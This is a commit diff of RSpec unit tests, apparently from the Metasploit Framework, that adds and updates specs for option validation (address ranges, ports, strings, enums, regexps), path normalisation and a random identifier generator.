||||
mock_service = mock("service")
|
||||
mock_service.stub(:server_name=)
|
||||
mock_service.stub(:add_resource)
|
||||
|
||||
mock_service
|
||||
end
|
||||
|
||||
before do
|
||||
Rex::ServiceManager.stub(:start => mock_service)
|
||||
end
|
||||
|
||||
describe "#add_resource" do
|
||||
it "should call the ServiceManager's add_resource" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource)
|
||||
server_module.add_resource('Path' => 'foo')
|
||||
end
|
||||
|
||||
it "should re-raise if the resource has already been added" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource).ordered
|
||||
mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
|
||||
server_module.add_resource('Path' => 'foo')
|
||||
|
||||
expect { server_module.add_resource('Path' => 'foo') }.to raise_error
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#cleanup" do
|
||||
it "should not remove resources if none were successfully added" do
|
||||
server_module.should_not_receive(:remove_resource)
|
||||
server_module.cleanup
|
||||
end
|
||||
|
||||
it "should remove successfully-added resources" do
|
||||
# setup
|
||||
server_module.start_service
|
||||
resources = [ 'a', 'b', 'c' ]
|
||||
resources.each { |r| server_module.add_resource('Path' => r) }
|
||||
|
||||
# The service will add one resource as part of #start_service, so
|
||||
# add that to the number that we added manually
|
||||
server_module.should_receive(:remove_resource).exactly(resources.count + 1).times
|
||||
server_module.cleanup
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#hardcoded_uripath" do
|
||||
it "should call the ServiceManager's add_resource" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource)
|
||||
server_module.hardcoded_uripath('foo')
|
||||
end
|
||||
|
||||
it "should re-raise if the resource has already been added" do
|
||||
server_module.start_service
|
||||
|
||||
mock_service.should_receive(:add_resource).ordered.and_raise(RuntimeError)
|
||||
|
||||
expect { server_module.hardcoded_uripath('foo') }.to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
@ -11,27 +11,49 @@ describe Msf::OptAddressRange do
|
||||
{ :value => "192.0.2.0,1-255", :normalized => "192.0.2.0,1-255" },
|
||||
{ :value => "192.0.2.*", :normalized => "192.0.2.*" },
|
||||
{ :value => "192.0.2.0-192.0.2.255", :normalized => "192.0.2.0-192.0.2.255" },
|
||||
{ :value => "file:#{File.expand_path('short_address_list.txt',FILE_FIXTURES_PATH)}", :normalized => '192.168.1.1 192.168.1.2 192.168.1.3 192.168.1.4 192.168.1.5'},
|
||||
]
|
||||
invalid_values = [
|
||||
# Too many dots
|
||||
{ :value => "192.0.2.0.0" },
|
||||
{ :value => "192.0.2.0.0,1" },
|
||||
{ :value => "192.0.2.0.0,1-2" },
|
||||
{ :pending => "Redmine #7536", :value => "192.0.2.0.0/24" },
|
||||
{ :value => "192.0.2.0.0/24" },
|
||||
# Not enough dots
|
||||
{ :value => "192.0.2" },
|
||||
{ :value => "192.0.2,1" },
|
||||
{ :value => "192.0.2,1-2" },
|
||||
{ :pending => "Redmine #7536", :value => "192.0.2/24" },
|
||||
{ :value => "192.0.2/24" },
|
||||
# Can't mix ranges and CIDR
|
||||
{ :value => "192.0.2.0,1/24" },
|
||||
{ :value => "192.0.2.0-1/24" },
|
||||
{ :value => "192.0.2.0,1-2/24" },
|
||||
{ :value => "192.0.2.0/1-24" },
|
||||
{ :value => "192.0.2.0-192.0.2.1-255", },
|
||||
{ :value => "192.0.2.0-192.0.2.1-255" },
|
||||
# Non-string values
|
||||
{ :value => true},
|
||||
{ :value => 5 },
|
||||
{ :value => []},
|
||||
{ :value => [1,2]},
|
||||
{ :value => {}},
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'addressrange'
|
||||
|
||||
let(:required_opt) { Msf::OptAddressRange.new('RHOSTS', [true, 'The target addresses', '']) }
|
||||
|
||||
context 'the normalizer' do
|
||||
it 'should handle a call for random IPs' do
|
||||
random_addresses = required_opt.normalize('rand:5')
|
||||
random_addresses.kind_of?(String).should == true
|
||||
ips = random_addresses.split(' ')
|
||||
ips.count.should == 5
|
||||
ips.each do |ip|
|
||||
(ip =~ Rex::Socket::MATCH_IPV4).should == 0
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
@ -13,10 +13,19 @@ describe Msf::OptAddress do
|
||||
# Too many dots
|
||||
{ :value => "192.0.2.0.0" },
|
||||
# Not enough
|
||||
{ :pending => "Redmine #7537", :value => "192.0.2" }
|
||||
{ :value => "192.0.2" },
|
||||
# Non-string values
|
||||
{ :value => true},
|
||||
{ :value => 5 },
|
||||
{ :value => []},
|
||||
{ :value => [1,2]},
|
||||
{ :value => {}},
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'address'
|
||||
|
||||
|
||||
|
||||
end
|
||||
|
||||
|
||||
|
@ -17,6 +17,7 @@ describe Msf::OptBool do
|
||||
{ :value => "012" },
|
||||
{ :value => "123" },
|
||||
]
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'bool'
|
||||
|
||||
end
|
||||
|
||||
|
23
spec/lib/msf/core/options/opt_enum_spec.rb
Normal file
23
spec/lib/msf/core/options/opt_enum_spec.rb
Normal file
@ -0,0 +1,23 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
describe Msf::OptEnum do
|
||||
|
||||
it_behaves_like "an option", [], [], 'enum'
|
||||
|
||||
subject do
|
||||
Msf::OptEnum.new('name',[true, 'A Boolean Value', 'Foo', ['Foo', 'Bar', 'Baz']])
|
||||
end
|
||||
|
||||
context 'the validator' do
|
||||
it 'should return false for a value not in the list' do
|
||||
subject.valid?('Snap').should == false
|
||||
end
|
||||
|
||||
it 'should return true for a value in the list' do
|
||||
subject.valid?('Bar').should == true
|
||||
end
|
||||
end
|
||||
end
|
@ -21,7 +21,7 @@ describe Msf::OptInt do
|
||||
{ :value => "FF", },
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'integer'
|
||||
end
|
||||
|
||||
|
||||
|
@ -15,6 +15,6 @@ describe Msf::OptPath do
|
||||
{ :value => "$", },
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'path'
|
||||
end
|
||||
|
||||
|
@ -16,6 +16,6 @@ describe Msf::OptPort do
|
||||
{ :value => "65536", },
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'port'
|
||||
end
|
||||
|
||||
|
15
spec/lib/msf/core/options/opt_raw_spec.rb
Normal file
15
spec/lib/msf/core/options/opt_raw_spec.rb
Normal file
@ -0,0 +1,15 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
describe Msf::OptRaw do
|
||||
|
||||
valid_values = [
|
||||
{ :value => 'foo', :normalized => 'foo' },
|
||||
{ :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" },
|
||||
]
|
||||
invalid_values = []
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'raw'
|
||||
end
|
17
spec/lib/msf/core/options/opt_regexp_spec.rb
Normal file
17
spec/lib/msf/core/options/opt_regexp_spec.rb
Normal file
@ -0,0 +1,17 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
describe Msf::OptRegexp do
|
||||
|
||||
valid_values = [
|
||||
{ :value => '^foo$', :normalized => /^foo$/ },
|
||||
]
|
||||
invalid_values = [
|
||||
{ :value => 123 },
|
||||
{ :value => 'foo('}
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'regexp'
|
||||
end
|
21
spec/lib/msf/core/options/opt_string_spec.rb
Normal file
21
spec/lib/msf/core/options/opt_string_spec.rb
Normal file
@ -0,0 +1,21 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'msf/core/option_container'
|
||||
|
||||
describe Msf::OptString do
|
||||
valid_values = [
|
||||
{ :value => 'foo', :normalized => 'foo' },
|
||||
{ :value => "file:#{File.expand_path('string_list.txt',FILE_FIXTURES_PATH)}",:normalized => "foo\nbar\nbaz" },
|
||||
]
|
||||
invalid_values = [
|
||||
# Non-string values
|
||||
{ :value => true},
|
||||
{ :value => 5 },
|
||||
{ :value => []},
|
||||
{ :value => [1,2]},
|
||||
{ :value => {}},
|
||||
]
|
||||
|
||||
it_behaves_like "an option", valid_values, invalid_values, 'string'
|
||||
end
|
60
spec/lib/rex/file_utils_spec.rb
Normal file
60
spec/lib/rex/file_utils_spec.rb
Normal file
@ -0,0 +1,60 @@
|
||||
require 'rex/file'
|
||||
|
||||
describe Rex::FileUtils do
|
||||
context "Class methods" do
|
||||
|
||||
context ".normalize_win_path" do
|
||||
it "should convert an absolute path as an array into Windows format" do
|
||||
described_class.normalize_win_path('C:\\', 'hello', 'world').should eq("C:\\hello\\world")
|
||||
end
|
||||
|
||||
it "should convert an absolute path as a string into Windows format" do
|
||||
described_class.normalize_win_path('C:\\hello\\world').should eq("C:\\hello\\world")
|
||||
end
|
||||
|
||||
it "should convert a relative path" do
|
||||
described_class.normalize_win_path('/', 'test', 'me').should eq("\\test\\me")
|
||||
described_class.normalize_win_path('\\temp').should eq("\\temp")
|
||||
described_class.normalize_win_path('temp').should eq("temp")
|
||||
end
|
||||
|
||||
it "should keep the trailing slash if exists" do
|
||||
described_class.normalize_win_path('/', 'test', 'me\\').should eq("\\test\\me\\")
|
||||
described_class.normalize_win_path('\\temp\\').should eq("\\temp\\")
|
||||
end
|
||||
|
||||
it "should convert a path without reserved characters" do
|
||||
described_class.normalize_win_path('C:\\', 'Windows:').should eq("C:\\Windows")
|
||||
described_class.normalize_win_path('C:\\Windows???\\test').should eq("C:\\Windows\\test")
|
||||
end
|
||||
|
||||
it "should convert a path without double slashes" do
|
||||
described_class.normalize_win_path('C:\\\\\\', 'Windows').should eq("C:\\Windows")
|
||||
described_class.normalize_win_path('C:\\\\\\Hello World\\\\whatever.txt').should eq("C:\\Hello World\\whatever.txt")
|
||||
described_class.normalize_win_path('C:\\\\').should eq("C:\\")
|
||||
described_class.normalize_win_path('\\test\\\\test\\\\').should eq("\\test\\test\\")
|
||||
end
|
||||
end
|
||||
|
||||
context ".normalize_unix_path" do
|
||||
it "should convert an absolute path as an array into Unix format" do
|
||||
described_class.normalize_unix_path('/etc', '/passwd').should eq("/etc/passwd")
|
||||
end
|
||||
|
||||
it "should convert an absolute path as a string into Unix format" do
|
||||
described_class.normalize_unix_path('/etc/passwd').should eq('/etc/passwd')
|
||||
end
|
||||
|
||||
it "should still give me a trailing slash if I have it" do
|
||||
described_class.normalize_unix_path('/etc/folder/').should eq("/etc/folder/")
|
||||
end
|
||||
|
||||
it "should convert a path without double slashes" do
|
||||
described_class.normalize_unix_path('//etc////passwd').should eq("/etc/passwd")
|
||||
described_class.normalize_unix_path('/etc////', 'passwd').should eq('/etc/passwd')
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
123
spec/lib/rex/random_identifier_generator_spec.rb
Normal file
123
spec/lib/rex/random_identifier_generator_spec.rb
Normal file
@ -0,0 +1,123 @@
|
||||
require 'spec_helper'
|
||||
require 'rex/random_identifier_generator'
|
||||
|
||||
describe Rex::RandomIdentifierGenerator do
|
||||
let(:options) do
|
||||
{ :min_length => 10, :max_length => 20 }
|
||||
end
|
||||
|
||||
subject(:rig) { described_class.new(options) }
|
||||
|
||||
it { should respond_to(:generate) }
|
||||
it { should respond_to(:[]) }
|
||||
it { should respond_to(:get) }
|
||||
|
||||
describe "#generate" do
|
||||
it "should respect :min_length" do
|
||||
1000.times do
|
||||
rig.generate.length.should >= options[:min_length]
|
||||
end
|
||||
end
|
||||
|
||||
it "should respect :max_length" do
|
||||
1000.times do
|
||||
rig.generate.length.should <= options[:max_length]
|
||||
end
|
||||
end
|
||||
|
||||
it "should allow mangling in a block" do
|
||||
ident = rig.generate { |identifier| identifier.upcase }
|
||||
ident.should match(/\A[A-Z0-9_]*\Z/)
|
||||
|
||||
ident = subject.generate { |identifier| identifier.downcase }
|
||||
ident.should match(/\A[a-z0-9_]*\Z/)
|
||||
|
||||
ident = subject.generate { |identifier| identifier.gsub("A","B") }
|
||||
ident.should_not include("A")
|
||||
end
|
||||
end
|
||||
|
||||
describe "#get" do
|
||||
let(:options) do
|
||||
{ :min_length=>3, :max_length=>3 }
|
||||
end
|
||||
it "should return the same thing for subsequent calls" do
|
||||
rig.get(:rspec).should == rig.get(:rspec)
|
||||
end
|
||||
it "should not return the same for different names" do
|
||||
# Statistically...
|
||||
count = 1000
|
||||
a = Set.new
|
||||
count.times do |n|
|
||||
a.add rig.get(n)
|
||||
end
|
||||
a.size.should == count
|
||||
end
|
||||
|
||||
context "with an exhausted set" do
|
||||
let(:options) do
|
||||
{ :char_set => "abcd", :min_length=>2, :max_length=>2 }
|
||||
end
|
||||
let(:max_permutations) do
|
||||
# 26 because first char is hardcoded to be lowercase alpha
|
||||
26 * (options[:char_set].length ** options[:min_length])
|
||||
end
|
||||
|
||||
it "doesn't infinite loop" do
|
||||
Timeout.timeout(1) do
|
||||
expect {
|
||||
(max_permutations + 1).times { |i| rig.get(i) }
|
||||
}.to raise_error(Rex::RandomIdentifierGenerator::ExhaustedSpaceError)
|
||||
# don't rescue TimeoutError here because we want that to be a
|
||||
# failure case
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
describe "#store" do
|
||||
let(:options) do
|
||||
{ :char_set => "abcd", :min_length=>8, :max_length=>20 }
|
||||
end
|
||||
|
||||
it "should allow smaller than minimum length" do
|
||||
value = "a"*(options[:min_length]-1)
|
||||
rig.store(:spec, value)
|
||||
rig.get(:spec).should == value
|
||||
end
|
||||
|
||||
it "should allow bigger than maximum length" do
|
||||
value = "a"*(options[:max_length]+1)
|
||||
rig.store(:spec, value)
|
||||
rig.get(:spec).should == value
|
||||
end
|
||||
|
||||
it "should raise if value is not unique" do
|
||||
value = "a"*(options[:max_length]+1)
|
||||
rig.store(:spec0, value)
|
||||
rig.get(:spec0).should == value
|
||||
expect { rig.store(:spec1, value) }.to raise_error
|
||||
end
|
||||
|
||||
it "should overwrite a previously stored value" do
|
||||
orig_value = "a"*(options[:max_length])
|
||||
rig.store(:spec, orig_value)
|
||||
rig.get(:spec).should == orig_value
|
||||
|
||||
new_value = "b"*(options[:max_length])
|
||||
rig.store(:spec, new_value)
|
||||
rig.get(:spec).should == new_value
|
||||
end
|
||||
|
||||
it "should overwrite a previously generated value" do
|
||||
rig.get(:spec)
|
||||
|
||||
new_value = "a"*(options[:max_length])
|
||||
rig.store(:spec, new_value)
|
||||
rig.get(:spec).should == new_value
|
||||
end
|
||||
|
||||
end
|
||||
end
|
@ -28,6 +28,16 @@ describe Rex::Socket::RangeWalker do
|
||||
walker.should include("10.1.3.5")
|
||||
end
|
||||
|
||||
it 'should reject CIDR ranges with missing octets' do
|
||||
walker = Rex::Socket::RangeWalker.new('192.168/24')
|
||||
walker.should_not be_valid
|
||||
end
|
||||
|
||||
it 'should reject a CIDR range with too many octets' do
|
||||
walker = Rex::Socket::RangeWalker.new('192.168.1.2.0/24')
|
||||
walker.should_not be_valid
|
||||
end
|
||||
|
||||
it "should default the lower bound of a range to 0" do
|
||||
walker = Rex::Socket::RangeWalker.new("10.1.3.-17")
|
||||
walker.should be_valid
|
||||
|
@ -3,6 +3,8 @@ require 'rubygems'
|
||||
require 'bundler'
|
||||
Bundler.require(:default, :test, :db)
|
||||
|
||||
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + "/file_fixtures/"
|
||||
|
||||
# add project lib directory to load path
|
||||
spec_pathname = Pathname.new(__FILE__).dirname
|
||||
root_pathname = spec_pathname.join('..').expand_path
|
||||
|
@ -1,10 +1,29 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
shared_examples_for "an option" do |valid_values, invalid_values|
|
||||
shared_examples_for "an option" do |valid_values, invalid_values, type|
|
||||
subject do
|
||||
described_class.new("name")
|
||||
end
|
||||
|
||||
let(:required) { described_class.new('name', [true, 'A description here'])}
|
||||
let(:optional) { described_class.new('name', [false, 'A description here'])}
|
||||
|
||||
it "should return a type of #{type}" do
|
||||
subject.type.should == type
|
||||
end
|
||||
|
||||
context 'when required' do
|
||||
it 'should not be valid for nil' do
|
||||
required.valid?(nil).should == false
|
||||
end
|
||||
end
|
||||
|
||||
context 'when not required' do
|
||||
it 'it should be valid for nil' do
|
||||
optional.valid?(nil).should == true
|
||||
end
|
||||
end
|
||||
|
||||
context "with valid values" do
|
||||
valid_values.each do |vhash|
|
||||
valid_value = vhash[:value]
|
||||
|
Loading…
Reference in New Issue
Block a user